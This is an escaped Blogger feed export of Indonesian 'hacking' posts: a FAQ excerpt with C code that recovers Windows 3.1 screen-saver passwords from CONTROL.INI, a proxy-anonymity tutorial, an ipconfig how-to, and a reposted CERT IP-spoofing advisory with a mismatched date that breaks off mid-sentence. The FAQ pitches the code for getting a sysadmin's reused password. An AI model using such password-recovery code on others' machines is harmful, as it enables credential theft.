/&gt;recognize which optimization strategies were enabled at compile time.&lt;br /&gt;&lt;br /&gt;OK, let's simplify further and specify that you only want to support one&lt;br /&gt;specific compiler and you want to decompile to the most logical source&lt;br /&gt;code without trying to interpret the optimization.  What then?  A good&lt;br /&gt;optimizer can and will substantially rewrite the internals of your code,&lt;br /&gt;so what you get out of your decompiler will be, not only cryptic, but in&lt;br /&gt;many cases, riddled with goto statements and other no-no's of good&lt;br /&gt;coding practice.  At this point, you have decompiled source, but what&lt;br /&gt;good is it?&lt;br /&gt;&lt;br /&gt;Also note carefully my reference to source modules.  One characteristic&lt;br /&gt;of C is that it becomes largely unreadable unless broken into easily&lt;br /&gt;maintainable source modules (.C files).  How will the decompiler deal&lt;br /&gt;with that? It could either try to decompile the whole program into some&lt;br /&gt;mammoth main() function, losing all modularity, or it could try to place&lt;br /&gt;each called function into its own file.  The first way would generate&lt;br /&gt;unusable chaos and the second would run into problems where the original&lt;br /&gt;source hade files with multiple functions using static data and/or one&lt;br /&gt;or more functions calling one or more static functions.  A decompiler&lt;br /&gt;could make static data and/or functions global but only at the expense&lt;br /&gt;or readability (which would already be unacceptable).&lt;br /&gt;&lt;br /&gt;Finally, remember that commercial applications often code the most&lt;br /&gt;difficult or time-critical functions in assembler which could prove&lt;br /&gt;almost impossible to decompile into a C equivalent.&lt;br /&gt;&lt;br /&gt;Like I said, don't hold your breath. As technology improves to where&lt;br /&gt;decompilers may become more feasible, optimizers and languages (C++, for&lt;br /&gt;example, would be a significantly tougher language to decompile than C)&lt;br /&gt;also conspire to make them less likely.&lt;br /&gt;&lt;br /&gt;For years Unix applications have been distributed in shrouded source&lt;br /&gt;form (machine but not human readable -- all comments and whitespace&lt;br /&gt;removed, variables names all in the form OOIIOIOI, etc.), which has been&lt;br /&gt;a quite adequate means of protecting the author's rights.  It's very&lt;br /&gt;unlikely that decompiler output would even be as readable as shrouded&lt;br /&gt;source.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;40. How does the MS-Windows password encryption work?&lt;br /&gt;&lt;br /&gt;This FAQ answer was written by Wayne Hoxsie &lt;hoxsiew@crl.com&gt;&lt;br /&gt;&lt;br /&gt;The password option in MS Win 3.1 is easily defeated, but there are&lt;br /&gt;those of us who really want to know how MS does this.  There are many&lt;br /&gt;reasons why knowing the actual password can be useful.  Suppose a&lt;br /&gt;sysamin used the same password in the windows screen saver as his root&lt;br /&gt;account on a unix box.&lt;br /&gt;&lt;br /&gt;Anyway, I will attempt to relay what I have learned about this algorithm.&lt;br /&gt;&lt;br /&gt;I will describe the process starting after you've entered the password&lt;br /&gt;and hit the [OK] button.&lt;br /&gt;&lt;br /&gt;I will make the assumtion that everyone (at least those interested) know&lt;br /&gt;what the XOR operation is.&lt;br /&gt;&lt;br /&gt;First, the length of the password is saved.  We'll call this 'len'.  We&lt;br /&gt;will be moving characters from the entered string into another string as&lt;br /&gt;they are encrypted.  We'll call the originally entered password&lt;br /&gt;'plaintext' and the encrypted string(strings--there are two passes)&lt;br /&gt;'hash1' and 'hash2.'  The position in the plaintext is important during&lt;br /&gt;the process so we'll refer to this as 'pos.'  After each step of the&lt;br /&gt;hashing process, the character is checked against a set of characters&lt;br /&gt;that windows considers 'special.'  These characters are '[ ] =' and any&lt;br /&gt;character below ASCII 33 or above ASCII 126.  I'll refer to this&lt;br /&gt;checking operation as 'is_ok.'  All indecies are zero-based (i.e. an 8&lt;br /&gt;character password is considered chars 0 to 7).&lt;br /&gt;&lt;br /&gt;Now, the first character of 'plaintext' is xor'd with 'len' then fed to&lt;br /&gt;'is_ok'.  if the character is not valid, it is replaced by the original&lt;br /&gt;character of 'plaintext' before going to the next operation.  The next&lt;br /&gt;operation is to xor with 'pos' (this is useless for the first operation&lt;br /&gt;since 'len' is 0 and anything xor'd with zero is itself) then fed to&lt;br /&gt;'is_ok' and replaced with the original if not valid.  The final&lt;br /&gt;operation (per character) is to xor it with the previous character of&lt;br /&gt;'plaintext'. Since there is no previous character, the fixed value, 42,&lt;br /&gt;is used on the first character of 'plaintext'.  This is then fed to&lt;br /&gt;'is_ok' and if OK, it is stored into the first position of 'hash1'  This&lt;br /&gt;process proceeds until all characters of plaintext are exhausted.&lt;br /&gt;&lt;br /&gt;The second pass is very similar, only now, the starting point is the&lt;br /&gt;last character in hash1 and the results are placed into hash2 from the&lt;br /&gt;end to the beginning.  Also, instead of using the previous character in&lt;br /&gt;the final xoring, the character following the current character is used.&lt;br /&gt;Since there is no character following the last character in hash1, the&lt;br /&gt;value, 42 is again used for the last character.&lt;br /&gt;&lt;br /&gt;'hash2' is the final string and this is what windows saves in the file&lt;br /&gt;CONTROL.INI.&lt;br /&gt;&lt;br /&gt;To 'decrypt' the password, the above procedure is just reversed.&lt;br /&gt;&lt;br /&gt;Now, what you've all been waiting for.  Here is some C code that will do&lt;br /&gt;the dirty work for you:&lt;br /&gt;&lt;br /&gt;#include &lt;stdlib.h&gt;&lt;br /&gt;#include &lt;stdio.h&gt;&lt;br /&gt;#include &lt;string.h&gt;&lt;br /&gt;&lt;br /&gt;int xor1(int i,int j)&lt;br /&gt;{&lt;br /&gt;  int x;&lt;br /&gt;&lt;br /&gt;  x=i^j;&lt;br /&gt;  return (x&gt;126||x&lt;33||x==91||x==93||x==61)?i:x;&lt;br /&gt;}&lt;br /&gt;void main()&lt;br /&gt;{&lt;br /&gt;  FILE *f;&lt;br /&gt;  int i,l;&lt;br /&gt;  char s[80],s1[80];&lt;br /&gt;&lt;br /&gt;  printf("Please enter the path to your Windows directory\n");&lt;br /&gt;  gets(s1);&lt;br /&gt;  sprintf(s,"%s%scontrol.ini",s1,s1[strlen(s1)-1]=='\\'?"":"\\");&lt;br /&gt;  if((f=fopen(s,"rt"))==NULL){&lt;br /&gt;    printf("File Error : %s\n",sys_errlist[errno]);&lt;br /&gt;    exit(0);&lt;br /&gt;  }&lt;br /&gt;  while(strnicmp(fgets(s1,70,f),"password",8)!=0&amp;&amp;!feof(f));&lt;br /&gt;  fclose(f);&lt;br /&gt;  strtok(s1,"=\n");&lt;br /&gt;  strcpy(s,strtok(NULL,"\n"));&lt;br /&gt;  i=strlen(s)-1;&lt;br /&gt;  for(l=i;l&gt;-1;l--)&lt;br /&gt;    s1[l]=xor1(xor1(xor1(s[l],l==i?42:s[l+1]),l==i?0:l),i+1);&lt;br /&gt;  for(l=0;l&lt;i+1;l++)&lt;br /&gt;    s[l]=xor1(xor1(xor1(s1[l],l?s1[l-1]:42),l?l:0),i+1);&lt;br /&gt;  printf("The Password is: %s\n",s);&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;    &lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7728576687682840661-4044743800411779143?l=warung-rumpi-ebook.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://warung-rumpi-ebook.blogspot.com/feeds/4044743800411779143/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://warung-rumpi-ebook.blogspot.com/2009/05/refferensi-hacking-1-40.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7728576687682840661/posts/default/4044743800411779143'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7728576687682840661/posts/default/4044743800411779143'/><link rel='alternate' type='text/html' href='http://warung-rumpi-ebook.blogspot.com/2009/05/refferensi-hacking-1-40.html' title='Refferensi hacking 1-40'/><author><name>Warnet Warung Rumpi</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://3.bp.blogspot.com/_EwenkUmE0-c/ShduneQ4dII/AAAAAAAAABA/5G-RLSe4gas/S220/Photo_GW_in_Game.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7728576687682840661.post-1631789192483289887</id><published>2009-05-27T13:57:00.002-07:00</published><updated>2009-05-27T13:58:13.105-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Hacking'/><title type='text'>Packet Hacking</title><content type='html'>&lt;span class="fullpost"&gt;&lt;br /&gt;    [----Stay anonymous on the web------]&lt;br /&gt;&lt;br /&gt;Note..This tutorial will teach a average day user how to keep all his &lt;br /&gt;Esentual info limited so attacks from Hackers cant be made&lt;br /&gt;&lt;br /&gt;SHouth outs: Myth leader of MPD u rule dude,All members of MPD, and &lt;br /&gt;everyone else who i should shout out too u know who u are.&lt;br /&gt;&lt;br /&gt;The topics..&lt;br /&gt;1.What are packets.&lt;br /&gt;2.Getting a http proxy.&lt;br /&gt;3.How http proxy work.&lt;br /&gt;4.How to secrure http packets.&lt;br /&gt;5.How to edit what o's and mozilla info send. &lt;br /&gt;6.Getting a socket proxy.&lt;br /&gt;7.How socket proxy work.&lt;br /&gt;8.Cookies.&lt;br /&gt;9.Final note.&lt;br /&gt;-----------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;1.What are packets.&lt;br /&gt;&lt;br /&gt;Packets are very simple on the net There are millions of user's now for &lt;br /&gt;secrurity and other reasons there must be ways of establishing difference &lt;br /&gt;between user's Thus is done by packets, Packets are used when ever u connect&lt;br /&gt;to a remote server/system Its identify's who is connecting.&lt;br /&gt;An example of a http packet.( [Connect from MAx.mpd.com]&lt;br /&gt;[206.14.13.32] (Mozilla/4.05 [en] (X11;I;Linux 2.0.34 i586) on December &lt;br /&gt;2, 1998 at 14:34:45 )&lt;br /&gt;Now ill tell u what it is saying if u dont know.&lt;br /&gt;*Note*(Http packets is the way u are sending info through the web &lt;br /&gt;browser whenever u connect to a server/mechine/site )&lt;br /&gt;[connected from MAx.mpd.com]-This is my host&lt;br /&gt;[206.14.13.32]- is my ip&lt;br /&gt;(Mozilla/4.05)- is the version of mozilla im using&lt;br /&gt;(X11;I;Linux 2.0.32 i586)- Is The O's(operating system) And version of &lt;br /&gt;the o's im running&lt;br /&gt;[On december 2, 1998 at 14:34:45] - is day/year/time&lt;br /&gt;Now u know how it works this is one way Hackers get all the info they &lt;br /&gt;need on your computer to hack it.&lt;br /&gt;Now we dont want this anymore THus anonymous proxies where invented to &lt;br /&gt;give keep user's on the net secrure.Using anonymous proxies isnt &lt;br /&gt;100% secrure as the hacker can still do means on getting your real &lt;br /&gt;ip/host/os ill talk about that later but it makes it very hard for a hacker &lt;br /&gt;to get your ip/host once behind a proxy.&lt;br /&gt;Now http isnt the only means of packets there are also socket packets which&lt;br /&gt;ill talk about later.&lt;br /&gt;&lt;br /&gt;2.How http proxy work.&lt;br /&gt;A http proxy works like server it is actuelly and what it does is when&lt;br /&gt;setup in your browser when ever u want to go to sites.It will connect &lt;br /&gt;to there proxy server first then the proxy server conncts to the site &lt;br /&gt;u want to go to THus leaving no evendence of u on the site just the &lt;br /&gt;proxy server.(Dont worry once u setup a proxy dont think u always have &lt;br /&gt;to type in the proxy in first then go to there and type the site u want&lt;br /&gt;too go to. :)It dont work like that once u have entered the proxy settings&lt;br /&gt;in ya browser it will auto do the proxy for u all u have to do is surf the &lt;br /&gt;net.(Setting up a http proxy descussed later)&lt;br /&gt;&lt;br /&gt;3. Getting a http proxy&lt;br /&gt;Http proxies are very easyly found on the net as there are many &lt;br /&gt;commited Http proxy server's around that are free.&lt;br /&gt;Ill give a list of some http proxies for your all sorry if your &lt;br /&gt;country proxy isn't here just search on the net for (Http proxy)&lt;br /&gt;and ull find one.&lt;br /&gt;***Austria***   Port&lt;br /&gt;   &lt;br /&gt;cache02.netway.at        :80  &lt;br /&gt;mail.ppl.co.at   :8080&lt;br /&gt;speth08.wu-wien.ac.at  :8080&lt;br /&gt;pong.ping.at   :8080&lt;br /&gt;&lt;br /&gt;***Australia***                                                                     &lt;br /&gt;proxy.gwbbs.net.au  :80&lt;br /&gt;chrome.one.net.au  :8080&lt;br /&gt;proxy.newave.net.au  :8080&lt;br /&gt;ws.edi.com.au   :80&lt;br /&gt;mimas.scu.edu.au  :80&lt;br /&gt;proxy.omcs.com.au  :8080&lt;br /&gt;jethro.meriden.pas.com.au:8080&lt;br /&gt;albany.jrc.net.au  :80&lt;br /&gt;basil.acr.net.au         :8080&lt;br /&gt;&lt;br /&gt;***Belgium***&lt;br /&gt;&lt;br /&gt;cache-mar.belbone.be     :80&lt;br /&gt;&lt;br /&gt;***Bulgaria***&lt;br /&gt;&lt;br /&gt;conan.gocis.bg   :8080&lt;br /&gt;&lt;br /&gt;***Brazil***&lt;br /&gt;&lt;br /&gt;200.250.14.5)ct-nt-02.cybertelecom.com.br :8080&lt;br /&gt;sanan.com.br   :8080&lt;br /&gt;&lt;br /&gt;***Canada***&lt;br /&gt;proxy.collegemv.qc.ca    :8080&lt;br /&gt;srvprx.cspaysbleuets.qc.ca :80&lt;br /&gt;valliere.csvalliere.qc.ca :80&lt;br /&gt;keeper.albertc.on.ca  :8080 &lt;br /&gt;cproxy1.justice.gc.ca  :80&lt;br /&gt;proxy.cslouis-hemon.qc.ca :8080&lt;br /&gt;gateway.kwantlen.bc.ca   :80&lt;br /&gt;&lt;br /&gt;***Switzerland***&lt;br /&gt;&lt;br /&gt;cache1.worldcom.ch     :8080&lt;br /&gt;cache2.worldcom.ch  :8080 &lt;br /&gt;cache3.worldcom.ch  :8080&lt;br /&gt;web-cache-2.cern.ch  :80&lt;br /&gt;proxy.span.ch   :8080&lt;br /&gt;gip-lausanne-nc.globalip.ch :80&lt;br /&gt;gip-lausanne-cf2.globalip.ch :8080&lt;br /&gt;gip-lausanne-cf1.globalip.ch :8080&lt;br /&gt;proxy2.iso.ch   :8080&lt;br /&gt;proxy.iprolink.ch        :80&lt;br /&gt;&lt;br /&gt;***China***&lt;br /&gt;&lt;br /&gt;proxy.szptt.net.cn  :8080                                                  &lt;br /&gt;    &lt;br /&gt;***United States***&lt;br /&gt;&lt;br /&gt;hpux.mesd.k12.or.us  :8080&lt;br /&gt;gatekeeper.ci.slc.ut.us  :8080&lt;br /&gt;episd.elpaso.k12.tx.us   :8080&lt;br /&gt;svc.logan.k12.ut.us   :8001&lt;br /&gt;proxy.eup.k12.mi.us   :8080&lt;br /&gt;svc.nues.k12.ut.us  :8001&lt;br /&gt;proxy.eup.k12.mi.us  :8080&lt;br /&gt;(207.78.252.100)oakweb.oak-web.washington-ch.oh.us :80&lt;br /&gt;homnibus.nvc.cc.ca.us  :80&lt;br /&gt;et.mohave.cc.az.us  :80&lt;br /&gt;&lt;br /&gt;(ok id say i gave out enough if ya local country not there go search&lt;br /&gt;the net and if cant find use another country one that is close to u)&lt;br /&gt;&lt;br /&gt;4.How to secrure Http packets&lt;br /&gt;Like i said before this is a normal http packet&lt;br /&gt;( [Connect from MAx.mpd.com]&lt;br /&gt;[206.14.13.32] (Mozilla/4.05 [en] (X11;I;Linux 2.0.34 i586) on December &lt;br /&gt;2, 1998 at 14:34:45 )&lt;br /&gt;Now to Make your ip and host anonymous to web browsing we are going to &lt;br /&gt;use http proxy with ya browser.THis is done by going to ya options&lt;br /&gt;and finding the info on proxy settings in thus put in all&lt;br /&gt;avalable places in proxy setting etc.ftp,http,secruity,&lt;br /&gt;Except leave sockets part blank THis isnt a socket proxy its a http&lt;br /&gt;Now after setting up a proxy in the proxy settings and putting in the &lt;br /&gt;port too.Our new packets will look like this.&lt;br /&gt;( [Connect from The_proxies_host]&lt;br /&gt;[The_proxies_ip] (Mozilla/4.05 [en] (X11;I;Linux 2.0.34 i586) on December &lt;br /&gt;2, 1998 at 14:34:45 )&lt;br /&gt;Now u might be thinking cool :) No longer have everdence of me on there &lt;br /&gt;server but dam they know my o's and version of mozilla later on ill &lt;br /&gt;descuse how to change that.U might also be thinking WOW now i can surf &lt;br /&gt;100% secure on the net.U are not totally right.IF a hacker had a real &lt;br /&gt;grunge on u.He has now the proxy u are using there ip/host&lt;br /&gt;now if he wants to get your info that badly he would have to hack&lt;br /&gt;the proxy server comapare the log time of the time u loged to the hacker's &lt;br /&gt;site too the logs of your connection to the proxy server.THus is a real&lt;br /&gt;big job and if pick a good proxy server they will be very secure from &lt;br /&gt;attack's So your pritty much safe.&lt;br /&gt;&lt;br /&gt;5.How to edit the o's and mozilla info send.&lt;br /&gt;&lt;br /&gt;Ok if your using Ie this is how u would do it.&lt;br /&gt;To see Original Settings&lt;br /&gt;GOTO HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings&lt;br /&gt;User Agent = Mozilla/4.0 (compatible; MSIE 4.01; Windows 95; (Your Orginial Settings))&lt;br /&gt;&lt;br /&gt;(Skip this Part here)&lt;br /&gt;GOTO HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion&lt;br /&gt;ProductName = Microsoft Windows 95&lt;br /&gt;Version = Windows 95&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;GOTO HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\User Agent\Post Platform&lt;br /&gt;(Your Orignial Settings Here) = IEAK(Your Orignial Settings Here) &lt;br /&gt;&lt;br /&gt;Example&lt;br /&gt;&lt;br /&gt;GOTO HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\User Agent\Post Platform&lt;br /&gt;Myth [Unix-Base] = IEAKMyth [Unix-Base] &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;*Note (this info on how to change the mozilla and version shown was&lt;br /&gt;given to me from Myth i didn't make it.)&lt;br /&gt;&lt;br /&gt;6.Getting a socket proxy.&lt;br /&gt;&lt;br /&gt;Ok now socket proxies work like Http proxies the only diff is &lt;br /&gt;socket proxies are used with programs like (icq,mirc) And the packets&lt;br /&gt;are send through sockets not http.Getting a socket proxy is alot harder&lt;br /&gt;because Socket proxy server's have to be dedicated to a sertain program&lt;br /&gt;so its very limiting to the amount of user's he will get.&lt;br /&gt;Http is always used its using the web everyone uses it so http proxies&lt;br /&gt;are always going to be in need.&lt;br /&gt;TO find a socket proxy u can search the net typing in (Socket proxy)&lt;br /&gt;or try for sertain program's names like (Icq proxy).&lt;br /&gt;Hopefully u will get one&lt;br /&gt;socket proxies are useful as alot of attacks on user's are done &lt;br /&gt;by kids with nukes,spring,ping,smurf,etc etc And thus will anoy a user&lt;br /&gt;in mirc or from icq both these programs give any user possability to&lt;br /&gt;get a user's ip/host.&lt;br /&gt;thats why if u use these u will want a socket proxy.&lt;br /&gt;Alot of people go why dont u just use ident or jizz or something &lt;br /&gt;for mirc and icq.Well the reason u don't as there are expolits out &lt;br /&gt;there to crash spoofed hosts/ip for programs like jizz and ident&lt;br /&gt;a proxy is more stable way and more prevention then a spoofer program.&lt;br /&gt;&lt;br /&gt;    &lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7728576687682840661-1631789192483289887?l=warung-rumpi-ebook.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://warung-rumpi-ebook.blogspot.com/feeds/1631789192483289887/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://warung-rumpi-ebook.blogspot.com/2009/05/packet-hacking.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7728576687682840661/posts/default/1631789192483289887'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7728576687682840661/posts/default/1631789192483289887'/><link rel='alternate' type='text/html' href='http://warung-rumpi-ebook.blogspot.com/2009/05/packet-hacking.html' title='Packet Hacking'/><author><name>Warnet Warung Rumpi</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://3.bp.blogspot.com/_EwenkUmE0-c/ShduneQ4dII/AAAAAAAAABA/5G-RLSe4gas/S220/Photo_GW_in_Game.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7728576687682840661.post-7995181733217076876</id><published>2009-05-27T13:57:00.001-07:00</published><updated>2009-05-27T13:57:43.950-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Hacking'/><title type='text'>Mengidentifikasi IP address</title><content type='html'>&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;Mengidentifikasi IP address &lt;br /&gt;&lt;br /&gt;humm, dari tadi gw ngomongon hacking teruss...tapi ga ngasih tau caranya bagaimana dapatkan IP or gateway server&lt;br /&gt;dari komputer tersebut dengan cara manual tapi ampuh bin dahsyat...hhehehe...&lt;br /&gt;di sini gw bakal ngajarin kamu bagaimana caranya dapetin itu dengan sangad mudah dengan gaya yang keren lach(itu sich menurut gw)&lt;br /&gt;&lt;br /&gt;sebelumnya, di sini kamu ga butuh program tambahan dalam melakukan hal ini, yang kamu butuhkan hanya kode-kode dalam DOS&lt;br /&gt;&lt;br /&gt;caranya:&lt;br /&gt;1. Kamu klik Start -&gt; Run&lt;br /&gt;&lt;br /&gt;2. Ketikan: CMD  lalu Enter&lt;br /&gt;&lt;br /&gt;3. Ketikan: IPCONFIG lalu Enter&lt;br /&gt;&lt;br /&gt;4. Perhatika layar monitor, maka Kamu sudah dapat kan 2 point utama dalah hacking...yaitu  IP address dan GATEWAY&lt;br /&gt;&lt;br /&gt;5. simpan baik2 hal tersebut...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Pesan GW:&lt;br /&gt;1. Jangan lebay dech or ketergantungan ma software or apalah yang kamu pake buat dapetin IP sendiri...&lt;br /&gt;2. Ini baru awal pembelajaran yang sangat dasar buat gw tentunya...&lt;br /&gt;3. Gw harap kamu bisa kembangkan kemampuan kamu di dalam hal ini &lt;br /&gt;4. Kalo ada hal yang masih kurang dimengerti or ada masukan dari kamu,gw harap banget partisipasinya dalam pengembangan bersama...&lt;br /&gt;&lt;br /&gt;nice have fun ^,..,^&lt;br /&gt;&lt;br /&gt;    &lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7728576687682840661-7995181733217076876?l=warung-rumpi-ebook.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://warung-rumpi-ebook.blogspot.com/feeds/7995181733217076876/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://warung-rumpi-ebook.blogspot.com/2009/05/mengidentifikasi-ip-address.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7728576687682840661/posts/default/7995181733217076876'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7728576687682840661/posts/default/7995181733217076876'/><link rel='alternate' type='text/html' href='http://warung-rumpi-ebook.blogspot.com/2009/05/mengidentifikasi-ip-address.html' title='Mengidentifikasi IP address'/><author><name>Warnet Warung Rumpi</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='18' height='32' src='http://3.bp.blogspot.com/_EwenkUmE0-c/ShduneQ4dII/AAAAAAAAABA/5G-RLSe4gas/S220/Photo_GW_in_Game.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7728576687682840661.post-1240768781908732444</id><published>2009-05-27T13:56:00.000-07:00</published><updated>2009-05-27T13:57:13.653-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Hacking'/><title type='text'>IP spoofing Attacks and Hijacked Terminal Comunication</title><content type='html'>&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;=============================================================================&lt;br /&gt;CA-95:01                         CERT Advisory&lt;br /&gt;                                May 12, 2009&lt;br /&gt;                IP Spoofing Attacks and Hijacked Terminal Connections&lt;br /&gt;-----------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;The CERT Coordination Center has received reports of attacks in which&lt;br /&gt;intruders create packets with spoofed source IP addresses. These attacks&lt;br /&gt;exploit applications that use authentication based on IP addresses. This&lt;br /&gt;exploitation leads to user and possibly root access on the targeted system.&lt;br /&gt;Note that this attack does not involve source routing. Recommended solutions&lt;br /&gt;are described in Section III below.&lt;br /&gt;&lt;br /&gt;In the current attack pattern, intruders may dynamically modify the kernel of&lt;br /&gt;a Sun 4.1.X system once root access is attained.  In this attack, which is&lt;br /&gt;separate from the IP spoofing attack, intruders use a tool to take control of&lt;br /&gt;any open terminal or login session from users on the system. Note that&lt;br /&gt;although the tool is currently being used primarily on SunOS 4.1.x systems,&lt;br /&gt;the system features that make this attack possible are not unique to SunOS.&lt;br /&gt;&lt;br /&gt;As we receive additional information relating to this advisory, we will place&lt;br /&gt;it, along with any clarifications, in a CA-95:01.README file. CERT advisories&lt;br /&gt;and their associated README files are available by anonymous FTP from&lt;br /&gt;info.cert.org. We encourage you to check the README files regularly for&lt;br /&gt;updates on advisories that relate to your site.&lt;br /&gt;&lt;br /&gt;-----------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;I.   Description &lt;br /&gt;&lt;br /&gt;     This description summarizes both the IP spoofing technique that can&lt;br /&gt;     lead to root access on a system and the tool that intruders are using to&lt;br /&gt;     take over open terminal and login connections after they get root access.&lt;br /&gt;     We are currently seeing attacks in which intruders combine IP spoofing&lt;br /&gt;     with use of the tool. However, these are two separate actions. Intruders&lt;br /&gt;     can use IP spoofing to gain root access for any purpose; similarly, they&lt;br /&gt;     can highjack terminal connections regardless of their method of gaining&lt;br /&gt;     root access. &lt;br /&gt;&lt;br /&gt;     IP spoofing&lt;br /&gt;        To gain access, intruders create packets with spoofed source IP&lt;br /&gt;        addresses. This exploits applications that use authentication based on&lt;br /&gt;        IP addresses and leads to unauthorized user and possibly root access&lt;br /&gt;        on the targeted system. It is possible to route packets through&lt;br /&gt;        filtering-router firewalls if they are not configured to filter&lt;br /&gt;        incoming packets whose source address is in the local domain. It&lt;br /&gt;        is important to note that the described attack is possible even if &lt;br /&gt;        no reply packets can reach the attacker.&lt;br /&gt;&lt;br /&gt;        Examples of configurations that are potentially vulnerable include&lt;br /&gt;        - routers to external networks that support multiple internal&lt;br /&gt;          interfaces&lt;br /&gt;        - routers with two interfaces that support subnetting on the &lt;br /&gt;          internal network&lt;br /&gt;        - proxy firewalls where the proxy applications use the source&lt;br /&gt;          IP address for authentication&lt;br /&gt;&lt;br /&gt;        The IP spoofing attacks we are currently seeing are similar to those&lt;br /&gt;        described in two papers: 1) "Security Problems in the TCP/IP Protocol&lt;br /&gt;        Suite" by Steve Bellovin, published in _Computer Communication Review_&lt;br /&gt;        vol. 19, no. 2 (April 1989) pages 32-48; 2) "A Weakness in the 4.2BSD&lt;br /&gt;        Unix TCP/IP Software" by Robert T. Morris. Both papers are available&lt;br /&gt;        by anonymous FTP from &lt;br /&gt;&lt;br /&gt;           ftp.research.att.com:/dist/internet_security&lt;br /&gt;&lt;br /&gt;           Bellovin paper: ipext.ps.Z&lt;br /&gt;           Morris paper:   117.ps.Z&lt;br /&gt;&lt;br /&gt;        Services that are vulnerable to the IP spoofing attack include&lt;br /&gt;           SunRPC &amp; NFS &lt;br /&gt;           BSD UNIX "r" commands&lt;br /&gt;           anything wrapped by the tcp daemon wrappers - site dependent; check&lt;br /&gt;               your configuration&lt;br /&gt;           X windows &lt;br /&gt;           other applications that use source IP addresses for authentication&lt;br /&gt;&lt;br /&gt;     Hijacking tool&lt;br /&gt;        Once the intruders have root access on a system, they can use a tool&lt;br /&gt;        to dynamically modify the UNIX kernel. This modification allows them&lt;br /&gt;        to hijack existing terminal and login connections from any user on the&lt;br /&gt;        system. &lt;br /&gt; &lt;br /&gt;        In taking over the existing connections, intruders can bypass one-time&lt;br /&gt;        passwords and other strong authentication schemes by tapping the&lt;br /&gt;        connection after the authentication is complete. For example, a&lt;br /&gt;        legitimate user connects to a remote site through a login or terminal&lt;br /&gt;        session; the intruder hijacks the connection after the user has&lt;br /&gt;        completed the authentication to the remote location; the remote site&lt;br /&gt;        is now compromised. (See Section I for examples of vulnerable&lt;br /&gt;        configurations.)&lt;br /&gt;&lt;br /&gt;        Currently, the tool is used primarily on SunOS 4.1.x systems. However,&lt;br /&gt;        the system features that make this attack possible are not unique to&lt;br /&gt;        SunOS.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;II. Impact&lt;br /&gt;&lt;br /&gt;     Current intruder activity in spoofing source IP addresses can lead to&lt;br /&gt;     unauthorized remote root access to systems behind a filtering-router&lt;br /&gt;     firewall. &lt;br /&gt;&lt;br /&gt;     After gaining root access and taking over existing terminal and login&lt;br /&gt;     connections, intruders can gain access to remote hosts.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;III. Solutions&lt;br /&gt;     &lt;br /&gt;     A. Detection&lt;br /&gt;&lt;br /&gt;        IP spoofing&lt;br /&gt;           If you monitor packets using network-monitoring software such as&lt;br /&gt;           netlog, look for a packet on your external interface that has &lt;br /&gt;           both its source and destination IP addresses in your local domain.&lt;br /&gt;           If you find one, you are currently under attack. Netlog is&lt;br /&gt;           available by anonymous FTP from &lt;br /&gt;              net.tamu.edu:/pub/security/TAMU/netlog-1.2.tar.gz&lt;br /&gt;              MD5 checksum: 1dd62e7e96192456e8c75047c38e994b&lt;br /&gt;&lt;br /&gt;           Another way to detect IP spoofing is to compare the process&lt;br /&gt;           accounting logs between systems on your internal network. If&lt;br /&gt;           the IP spoofing attack has succeeded on one of your systems,&lt;br /&gt;           you may get a log entry on the victim machine showing a remote&lt;br /&gt;           access; on the apparent source machine, there will be no&lt;br /&gt;           corresponding entry for initiating that remote access.&lt;br /&gt;&lt;br /&gt;        Hijacking tool&lt;br /&gt;           When the intruder attaches to an existing terminal or login&lt;br /&gt;           connection, users may detect unusual activity, such as commands&lt;br /&gt;           appearing on their terminal that they did not type or a blank window&lt;br /&gt;           that will 